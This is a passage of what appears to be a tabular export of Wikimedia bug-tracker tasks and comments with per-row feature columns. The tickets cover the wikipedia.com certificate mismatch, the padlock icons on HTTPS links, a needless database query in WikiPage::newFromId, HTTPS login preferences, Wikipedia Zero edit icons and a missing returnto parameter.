+Whoever likes to play with regexes is invited to provide a patch ( https://www.mediawiki.org/wiki/Gerrit/Tutorial ) for https://git.wikimedia.org/blob/wikimedia%2Fbugzilla%2Fmodifications.git/HEAD/extensions%2FWikimedia%2FExtension.pm#L71",,,1392319675,,PHID-USER-hgn5uw2jafgjgfvxibhh,False,,,PHID-TASK-2xn6wjg3m65mr7ff46ak,task_subcomment,,True,c3,1,True,,,-72,True,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,1,0,0,1,0,1,0,0,0,1,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,1,1,1,0,0,1,0,1,0,0,1,0,1,0,1,1,1,0,0,0,1,1,1,1,0,0,0,0,0
+63228,https://www.wikipedia.com/ uses an invalid security certificate.,"**Author:** `nels.n.nelson`
+
+**Description:**
+www.wikipedia.com uses an invalid security certificate.
+
+The certificate is only valid for the following names:
+
+*.wikipedia.org , wikipedia.org , m.wikipedia.org , *.m.wikipedia.org , wikibooks.org , m.wikibooks.org , *.wikibooks.org , *.m.wikibooks.org , wikidata.org , m.wikidata.org , *.wikidata.org , *.m.wikidata.org , wikimedia.org , m.wikimedia.org , *.wikimedia.org , *.m.wikimedia.org , wikimediafoundation.org , m.wikimediafoundation.org , *.wikimediafoundation.org , *.m.wikimediafoundation.org , wikinews.org , m.wikinews.org , *.wikinews.org , *.m.wikinews.org , wikiquote.org , m.wikiquote.org , *.wikiquote.org , *.m.wikiquote.org , wikisource.org , m.wikisource.org , *.wikisource.org , *.m.wikisource.org , wikiversity.org , m.wikiversity.org , *.wikiversity.org , *.m.wikiversity.org , wikivoyage.org , m.wikivoyage.org , *.wikivoyage.org , *.m.wikivoyage.org , wiktionary.org , m.wiktionary.org , *.wiktionary.org , *.m.wiktionary.org , mediawiki.org , *.mediawiki.org , m.mediawiki.org , *.m.mediawiki.org (Error code: ssl_error_bad_cert_domain)
+
+This prevents users from accessing wikipedia.com and being successfully redirected to wikipedia.org without approving a security override in their browser.
+
+--------------------------
+**Version**: wmf-deployment
+**Severity**: minor
+**URL**: https://www.wikipedia.com/",Medium,50.0,1392145800,1393239088.0,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,False,PHID-TASK-p3o2rrgy7mdy5p4elexj,task_description,resolved,True,c3,1,False,False,True,-73,True,0,0,0,1,0,1,1,0,0,0,1,0,0,1,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,1,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,1,1,1,0,1,1,0,0,0,0,0,0,1,0,1,1,1,0,0,0,1,1,0,1,0,1,0,0,1
+290135,https://www.wikipedia.com/ uses an invalid security certificate.,"
+
+*** This bug has been marked as a duplicate of bug 40998 ***",,,1393239088,,PHID-USER-hgn5uw2jafgjgfvxibhh,False,,,PHID-TASK-p3o2rrgy7mdy5p4elexj,task_subcomment,,True,c3,1,True,,,-71,True,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0
+63178,Remove yellow padlock icons on HTTPS links,"Intention:
+MediaWiki shows padlock icons next to HTTPS links because a plone developer back in 2003 thought they were cute. Nowadays more and more websites are going HTTPS entirely, and this link decoration is unnecessary clutter. I discussed this here, to figure out  why this happens and how to switch them off on my own wikis:  https://www.mediawiki.org/wiki/Thread:Project:Support_desk/Padlock_icons_on_HTTPS_links._Why%3F_and_how_to_switch_off%3F    ...but with this bug I humbly suggest that the default should maybe be changed.
+
+Steps to Reproduce:
+put a HTTPS URL on a wiki page e.g. https://twitter.com/harry_wood and preview/save the page to see how it renders
+
+Actual Results:  
+On the default mediawiki vector skin you get a small yellow padlock icon to the right of the link. This is quite visually cluttering, making for unnecessarily ugly wiki pages (and with no security advantage that I can see)
+
+Expected Results:  
+The normal 'external link' icon would be better. Or at least we could phase-out the padlock, moving to a more subtle blue padlock as used on wikimedia sites
+
+Reproducible: Didn't try
+
+--------------------------
+**Version**: 1.23.0
+**URL**: https://www.mediawiki.org/wiki/Thread:Project:Support_desk/Padlock_icons_on_HTTPS_links._Why%3F_and_how_to_switch_off%3F
+**See Also**:
+{T61893}
+{T32682}",Medium,50.0,1392116100,1399935887.0,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,False,PHID-TASK-uahw7les3zv2e46j6w3b,task_description,resolved,True,c3,1,False,False,True,-73,True,0,0,1,1,1,1,1,1,0,0,1,1,0,0,0,1,0,1,1,0,1,1,0,0,1,1,0,0,1,1,0,1,1,1,1,1,0,0,0,1,1,1,1,1,0,1,1,0,1,1,1,1,0,1,1,0,0,1,1,1,0,1,0,1,1,0,1,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,0,1,0,1,1,1,1,1,1,1,1,1
+287865,Remove yellow padlock icons on HTTPS links,"**chealer** wrote:
+
+Padlocks have now been removed from the English Wikipedia.",,,1411094255,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-uahw7les3zv2e46j6w3b,task_subcomment,,True,c3,1,False,,,-41,True,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0
+287860,Remove yellow padlock icons on HTTPS links,"**chealer** wrote:
+
+Thank you Bartosz. I have done just that: https://en.wikipedia.org/wiki/MediaWiki_talk:Vector.css#Padlock_for_secure_links
+
+After looking at Vector.css, I think it is misleading to say that English Wikipedia editors have decided to add their own little padlocks. What they did is they *changed* their padlocks.",,,1410924377,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-uahw7les3zv2e46j6w3b,task_subcomment,,True,c3,1,False,,,-42,True,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,1,0,1,1,0,1,0,0,0,1,0,0,0,0,0,0,1,1,1,1,1,0,0,0,1,0,1,0,0,0,1,0,0,1,1,1,0,0,1,0,0,0,1,0,0,1,0,0,1,0,0,0,0,1,1,1,0,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,1,1,0,0,1,0,0,0
+287854,Remove yellow padlock icons on HTTPS links,English Wikipedia editors have decided to add their own little padlocks. See the very bottom of https://en.wikipedia.org/wiki/MediaWiki:Vector.css . You could probably raise this issue on the discussion of that page.,,,1410915845,,PHID-USER-wkpnidxoctuhawexig5p,False,,,PHID-TASK-uahw7les3zv2e46j6w3b,task_subcomment,,True,c3,1,True,,,-42,True,0,0,1,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,1,0,1,0,0,0,0,0,0,0,1,0,0,1,1,0,1,1,0,0,0,1,0,1,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,1,0,0,0,0,0,0,0
+287852,Remove yellow padlock icons on HTTPS links,"**chealer** wrote:
+
+This appears to be OK on mediawiki.org. However, I am still seeing these icons on en.wikipedia.org.
+
+This discusses the problem: http://ux.stackexchange.com/questions/29004/why-does-mediawiki-put-little-padlocks-on-https-links",,,1410915672,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-uahw7les3zv2e46j6w3b,task_subcomment,,True,c3,1,False,,,-42,True,0,0,0,0,0,1,1,0,0,0,1,0,0,0,0,1,0,1,1,0,1,0,0,0,1,0,0,0,0,0,0,1,1,0,1,0,1,0,0,0,0,0,0,0,0,1,0,0,0,1,1,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,1,0,0,0,1,0,0,1
+287849,Remove yellow padlock icons on HTTPS links,"**swalling** wrote:
+
+(In reply to Ash Crow from comment #4)
+> If I read https://bugzilla.wikimedia.org/show_bug.cgi?id=54604 correctly,
+> the padlocks were removed as part of the typography refresh. Shouldn't this
+> bug be closed ?
+
+Yes. Thank you!",,,1399935887,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-uahw7les3zv2e46j6w3b,task_subcomment,,True,c3,1,False,,,-60,True,0,0,0,1,1,0,0,0,0,1,1,1,0,0,0,1,0,1,1,0,0,1,0,0,1,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,1,0,1,0,0,1,1,1,1,1,0,1,1,1,1,0,0,1,1,0,0,0,1,0,0,1
+287846,Remove yellow padlock icons on HTTPS links,"If I read https://bugzilla.wikimedia.org/show_bug.cgi?id=54604 correctly, the padlocks were removed as part of the typography refresh. Shouldn't this bug be closed ?",,,1399935789,,PHID-USER-fkqblvf7bebkvqbathnt,False,,,PHID-TASK-uahw7les3zv2e46j6w3b,task_subcomment,,True,c3,1,False,,,-60,True,0,0,0,1,1,0,0,0,0,1,1,1,0,0,0,1,0,1,1,0,0,1,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,1,0,1,0,0,0,0,1,0,0,0,1,1,0,1,0,0,1,1,0,0,0,0,0,0,0
+287841,Remove yellow padlock icons on HTTPS links,"There was a thread about ALL external link icons on design-l in October 2013, http://lists.wikimedia.org/pipermail/design/2013-October/001035.html
+
+Old Notes on the ""blue padlock replacement"" are linked at the bottom of http://lists.wikimedia.org/pipermail/design/2013-October/001039.html
+
+(I agree that replacing the yellow-padlock icon with either: the standard external-link icon, or the blue-padlock icon, would be good.)
+
+There's a Semi-Related discussion at bug 54604 (""Ridiculous amount of CSS rules for external links"")",,,1392232560,,PHID-USER-hphmqcx66p6d6gvmjzp7,False,,,PHID-TASK-uahw7les3zv2e46j6w3b,task_subcomment,,True,c3,1,False,,,-73,True,1,0,0,1,0,1,1,0,0,0,1,1,0,0,1,1,0,1,1,0,0,0,0,0,1,0,0,0,0,1,0,1,1,0,1,0,0,0,0,1,0,0,0,1,0,1,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,0,1,0,1,1,0,1,0,1,0,0,1
+287836,Remove yellow padlock icons on HTTPS links,I assume this needs a broader discussion and/or consensus on Village Pumps and potentially mediawiki-l@ mailing list.,,,1392122713,,PHID-USER-hgn5uw2jafgjgfvxibhh,False,,,PHID-TASK-uahw7les3zv2e46j6w3b,task_subcomment,,True,c3,1,True,,,-73,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,1,0,1,0,1,1,0,0,0,0,0,0,0,0,1,1,1,0,0,0,1,0,0,1,0,0,1,0,0
+287832,Remove yellow padlock icons on HTTPS links,To an inexperienced user the padlock appears to indicate sort of security risk.,,,1392119655,,PHID-USER-wuic4cpqakaykj6cpvt5,False,,,PHID-TASK-uahw7les3zv2e46j6w3b,task_subcomment,,True,c3,1,False,,,-73,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,1,0,1,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0
+63166,WikiPage::newFromId( $id=0 ) needlessly queries the database,"WikiPage::newFromID( 0 ) actually queries the 'page' DB table to look up article ID 0. But MW code assumes that page_id == 0 means the page does not exist, e.g. Title sets mArticleId to 0 if article not found. So newFromID() could return null early if ( $id == 0 ).
+
+One caller of this is ApiBase::getTitleOrPageId() , as a result API clients that pass pageid=0 hit the database, some even querying 'fromdbmaster'.  AFTv5 is one example (bug 61164).
+
+--------------------------
+**Version**: 1.23.0
+**Severity**: normal
+**See Also**:
+https://bugzilla.wikimedia.org/show_bug.cgi?id=61164",Medium,50.0,1392097560,1392470522.0,PHID-USER-gbl4hfak3cfurt3c7skd,False,,False,PHID-TASK-xqvdyl6hat35a3awuwcf,task_description,resolved,True,c3,1,False,False,True,-73,True,1,0,0,0,1,1,0,0,0,1,1,0,0,0,0,1,0,1,1,0,1,0,0,0,1,0,0,0,1,0,0,1,1,0,0,0,0,0,0,0,0,0,1,1,0,0,0,1,1,1,1,0,0,0,0,0,0,1,0,0,1,0,0,0,0,1,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,0,1,1,0,1,0,0,1,1,1,0,1,0,0,1
+287226,WikiPage::newFromId( $id=0 ) needlessly queries the database,Status Merged,,,1392470522,,PHID-USER-a6jwrurphpx6yl4coupk,False,,,PHID-TASK-xqvdyl6hat35a3awuwcf,task_subcomment,,True,c3,1,False,,,-72,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,1,1,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0
+287221,WikiPage::newFromId( $id=0 ) needlessly queries the database,"Change 112641 had a related patch set uploaded by Chad:
+Return early when page id is less than 1
+
+https://gerrit.wikimedia.org/r/112641",,,1392097995,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-xqvdyl6hat35a3awuwcf,task_subcomment,,True,c3,1,False,,,-73,True,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,1,0,1,1,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,1,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,1,0,1,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,1,1,1,0,0,1,0,0
+63048,Disabling https broken,"While testing another preferences patch, I found that stock mediawiki is no longer respecting the preference to disable https after login when wgSecureLogin is set.
+
+* User is redirected to https when they click login, and the url parameter ""fromhttp=1"" is added.
+* User logs in (doesn't seem to matter if remember me is selected or not)
+* User is logged in, and cookies are set *for encrypted connections only*
+* User does *not* get a forceHTTPS cookie
+* User is redirected to the https version of the page where they clicked login
+
+Obviously, if the user types in an http:// url, they are no longer logged into the site since the cookie are set for https calls only.
+
+CentralAuth correctly handles the preference, so most users on WMF wikis are not affected. But we should get this fixed.
+
+--------------------------
+**Version**: 1.24rc
+**Severity**: normal",Medium,50.0,1391799120,1493419076.0,PHID-USER-doeppszazlm3r7xah4il,False,PHID-USER-sai77mtxmpqnm6pycyvz,False,PHID-TASK-ayre3tom5ccnez4y7fxl,task_description,duplicate,True,c3,1,True,False,False,-73,True,0,0,0,1,1,1,0,0,0,1,1,1,0,1,0,1,0,1,1,0,1,1,1,0,1,0,0,0,0,0,0,1,1,0,1,0,1,0,1,0,0,1,0,1,0,0,0,0,1,1,1,0,0,1,0,0,0,1,1,0,1,1,0,1,1,0,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,0,1,0,1,0,1,1,1,1,1,1,0
+294768,Disabling https broken,"Change 134756 had a related patch set uploaded by CSteipp:
+WIP: Respect wgForceHttps on login
+
+https://gerrit.wikimedia.org/r/134756",,,1400713150,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-ayre3tom5ccnez4y7fxl,task_subcomment,,True,c3,1,False,,,-59,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,0
+294763,Disabling https broken,"I'm still seeing it. Since it doesn't effect most WMF wikis, and I haven't heard of anyone else affected, normal priority is probably fine.",,,1400701471,,PHID-USER-doeppszazlm3r7xah4il,False,,,PHID-TASK-ayre3tom5ccnez4y7fxl,task_subcomment,,True,c3,1,True,,,-59,True,0,1,0,0,1,1,1,0,0,0,0,1,0,0,0,1,0,1,1,1,0,0,1,0,1,0,0,0,0,0,0,1,1,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,1,0,0,0,1,1,0,1,1,0,1,0,0,0,0,1,1,1,1,0,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,0,0,0,0,1,0,1,0
+294759,Disabling https broken,"So does anybody knows if this is still a problem nowadays? 
+And if this is still high priority?",,,1400684383,,PHID-USER-hgn5uw2jafgjgfvxibhh,False,,,PHID-TASK-ayre3tom5ccnez4y7fxl,task_subcomment,,True,c3,1,True,,,-59,True,0,1,0,0,0,1,1,0,0,1,0,1,0,0,0,1,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,1,1,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0
+294754,Disabling https broken,Wondering if this creates bug 54350. Anybody planning to work on this?,,,1393239161,,PHID-USER-hgn5uw2jafgjgfvxibhh,False,,,PHID-TASK-ayre3tom5ccnez4y7fxl,task_subcomment,,True,c3,1,True,,,-71,True,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,1,1,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,1,0,0,0,0,1,0,1,0,1,1,0,1,0,0,1,0,0,0,0,1,0,0,0
+294748,Disabling https broken,Related: https://en.wikipedia.org/w/index.php?title=Wikipedia:Village_pump_%28technical%29&oldid=595129084#Forced_.22https.22_on_wikis,,,1392208292,,PHID-USER-hgn5uw2jafgjgfvxibhh,False,,,PHID-TASK-ayre3tom5ccnez4y7fxl,task_subcomment,,True,c3,1,True,,,-73,True,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0
+62774,Section edit pencil icons showing in Wikipedia Zero despite no HTTPS support,"Previously, the edit pencil didn't errantly show on Wikipedia Zero due to the current lack of HTTPS support. Now it is showing again.
+
+--------------------------
+**Version**: unspecified
+**Severity**: normal",Medium,50.0,1391451180,1467924656.0,PHID-USER-srhlj2447vmpmrfhqnfa,False,PHID-USER-srhlj2447vmpmrfhqnfa,False,PHID-TASK-oldng4ohn3llekyaofz6,task_description,declined,True,c3,1,True,True,False,-74,True,0,0,0,0,1,1,0,0,0,0,0,1,1,0,0,0,0,1,1,0,0,0,0,0,1,0,0,0,0,0,0,1,1,1,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,0,0,0,0,1,0,0,0
+536391,Section edit pencil icons showing in Wikipedia Zero despite no HTTPS support,"With HTTPS support now the default, this task can probably be marked as invalid.",,,1443458314,,PHID-USER-orutfwdvg667kr5vm5uk,False,,,PHID-TASK-oldng4ohn3llekyaofz6,task_subcomment,,True,c3,3,True,,,12,True,0,0,0,1,0,1,0,0,0,0,1,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0
+293919,Section edit pencil icons showing in Wikipedia Zero despite no HTTPS support,"The per-section edit pencil was IIRC added to the page dynamically, so it was suppressed with a combination of CSS and JS. I'm guessing something about the event firing model or CSS style changed.
+
+The HTML is going to be identical across carriers on a per-language basis, even though certain features will only be available depending on carrier capabilities.
+
+Which skin would you recommend updating? Superclass or not? It sounds like we'd still need to always apply page runtime JS stuff to modify the edit thing, but like you mentioned in our face to face, maybe there's a way to wrap edit icons in a tag, thereby making it easier to enable/disable depending on carrier capabilities.",,,1391460596,,PHID-USER-srhlj2447vmpmrfhqnfa,False,,,PHID-TASK-oldng4ohn3llekyaofz6,task_subcomment,,True,c3,1,True,,,-74,True,0,1,0,1,1,1,1,0,1,0,1,1,0,1,1,1,0,1,1,1,1,0,0,0,1,1,0,1,0,1,1,1,1,1,1,1,0,1,1,1,0,0,0,1,0,1,0,0,0,1,0,0,0,0,1,0,0,1,0,0,0,1,1,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,1,0,0,1,1,1,1,0,0,1,0,1,1,0,1,1,0,0
+293916,Section edit pencil icons showing in Wikipedia Zero despite no HTTPS support,"Created attachment 14459
+Edit pencil - login page, no banner, no interstitial
+
+Note that tapping on Login yields a page without W0 banner, sadly without an interstitial beforehand.
+
+**Attached**: {F13367}",,,1391459651,,PHID-USER-srhlj2447vmpmrfhqnfa,False,,,PHID-TASK-oldng4ohn3llekyaofz6,task_subcomment,,True,c3,1,True,,,-74,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,1,0,1,1,0,1,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,0,0,1,0,1,0,0,0
+293913,Section edit pencil icons showing in Wikipedia Zero despite no HTTPS support,"Created attachment 14458
+Edit pencil - login
+
+Note no interstitial was shown.
+
+**Attached**: {F13366}",,,1391459578,,PHID-USER-srhlj2447vmpmrfhqnfa,False,,,PHID-TASK-oldng4ohn3llekyaofz6,task_subcomment,,True,c3,1,True,,,-74,True,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,1,0,0,1,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0
+293910,Section edit pencil icons showing in Wikipedia Zero despite no HTTPS support,"Created attachment 14457
+Edit pencil while on a W0 partner network
+
+This is from the simulator, but is reproducible in iOS 7 on a real device.
+
+**Attached**: {F13365}",,,1391459467,,PHID-USER-srhlj2447vmpmrfhqnfa,False,,,PHID-TASK-oldng4ohn3llekyaofz6,task_subcomment,,True,c3,1,True,,,-74,True,0,0,0,0,0,1,1,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,0,0,1,0,0,0,0,0
+293903,Section edit pencil icons showing in Wikipedia Zero despite no HTTPS support,dr0ptp4kt some more detail would help - this doesn't make much sense to me and I know MobileFrontend pretty well - how are you disabling editing in Zero? It would make more sense to alter the skin if you are not doing so already. If you have a CSS/JS hack that is bad...,,,1391453254,,PHID-USER-5dwuaigmkz2vzg65lape,False,,,PHID-TASK-oldng4ohn3llekyaofz6,task_subcomment,,True,c3,1,True,,,-74,True,1,0,0,0,1,1,1,0,0,1,1,1,0,0,0,1,0,1,1,0,1,0,0,0,0,0,0,0,0,1,0,1,1,1,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,1,1,0,1,1,0,0,0,0,0,0,1,0,0,0,0,1,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,1,0,0,1,0,1,1,1,1,1,0,0
+293896,Section edit pencil icons showing in Wikipedia Zero despite no HTTPS support,A link to a demonstration of this issue would be helpful.,,,1391451728,,PHID-USER-hyfm4swq76s4j642w46x,False,,,PHID-TASK-oldng4ohn3llekyaofz6,task_subcomment,,True,c3,1,True,,,-74,True,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0
+62594,MediaWiki:Watchnologintext needs returnto parameter,"If I visit action=watch logged out, I get:
+
+----
+
+You must be <a href=""/wiki/Special:UserLogin"" title=""Special:UserLogin"">logged in</a> to modify your watchlist.
+
+Return to <a href=""/wiki/MediaWiki"" title=""MediaWiki"">MediaWiki</a>.
+
+----
+
+The Special:UserLogin URL should include a returnto parameter so that after logging in/registering the user can at least get back to the original page.
+
+--------------------------
+**Version**: 1.23.0
+**Severity**: normal
+**URL**: https://www.mediawiki.org/wiki/Requests_for_comment/Performance_standards_for_new_features?action=watch",Medium,50.0,1391028360,1396746673.0,PHID-USER-v7bwpq3rs3zdxegibdbh,False,,False,PHID-TASK-ofjshhkgo2ggihan5iri,task_description,resolved,True,c3,1,True,False,True,-75,True,0,0,0,0,0,1,0,0,0,1,1,0,0,0,0,1,0,1,1,0,1,1,0,0,1,0,0,0,1,0,0,1,0,0,0,1,0,0,1,0,0,0,0,1,0,0,0,0,0,1,0,1,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,1,1,1,1,0,1,0,0,0,0,1,0,1,0,1,1,1,0,1,0,1,1,0,1,0,1,0,1,1
+284901,MediaWiki:Watchnologintext needs returnto parameter,"Change 123837 merged by jenkins-bot:
+WatchAction: Add 'returnto' and 'returntoquery' to the login link
+
+https://gerrit.wikimedia.org/r/123837",,,1396746741,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-ofjshhkgo2ggihan5iri,task_subcomment,,True,c3,1,False,,,-65,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,0,1,0,1,1,0,0,0,0,1,0,1,0,0,1,1,0,1,0,0,1,0,0,0,0,0,0,0
+284894,MediaWiki:Watchnologintext needs returnto parameter,Thanks for the patch!,,,1396746673,,PHID-USER-wkpnidxoctuhawexig5p,False,,,PHID-TASK-ofjshhkgo2ggihan5iri,task_subcomment,,True,c3,1,True,,,-65,True,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0
+284887,MediaWiki:Watchnologintext needs returnto parameter,"(In reply to Nemo from comment #1)
+> I hope that the ""Return to MediaWiki"" part doesn't mean the title= parameter
+> is being ignored completely (so that it defaults to the main page) just
+> because the token is absent or something. In that case, things might be
+> trickier.
+
+No, the user will just have to confirm the action by clicking ""OK"" one more time. You can test it by looking at e.g. <https://en.wikipedia.org/w/index.php?title=Main_Page&action=watch> (the link has no token on it, obviously).",,,1396610398,,PHID-USER-wkpnidxoctuhawexig5p,False,,,PHID-TASK-ofjshhkgo2ggihan5iri,task_subcomment,,True,c3,1,True,,,-65,True,0,1,1,1,1,1,1,1,0,0,1,1,0,0,0,1,0,1,1,1,1,0,0,0,0,0,0,0,1,1,0,1,1,1,1,1,0,0,0,0,1,0,0,1,0,1,0,0,1,1,0,1,0,1,0,0,0,0,0,0,1,1,0,0,0,0,0,1,1,1,1,1,1,0,0,0,1,1,1,1,0,1,1,1,0,1,0,1,1,0,0,0,1,1,0,1
+284880,MediaWiki:Watchnologintext needs returnto parameter,"Change 122089 abandoned by Konarak:
+MediaWiki:Watchnologintext: Add returnto parameter
+
+Reason:
+New patch set at https://gerrit.wikimedia.org/r/123837
+
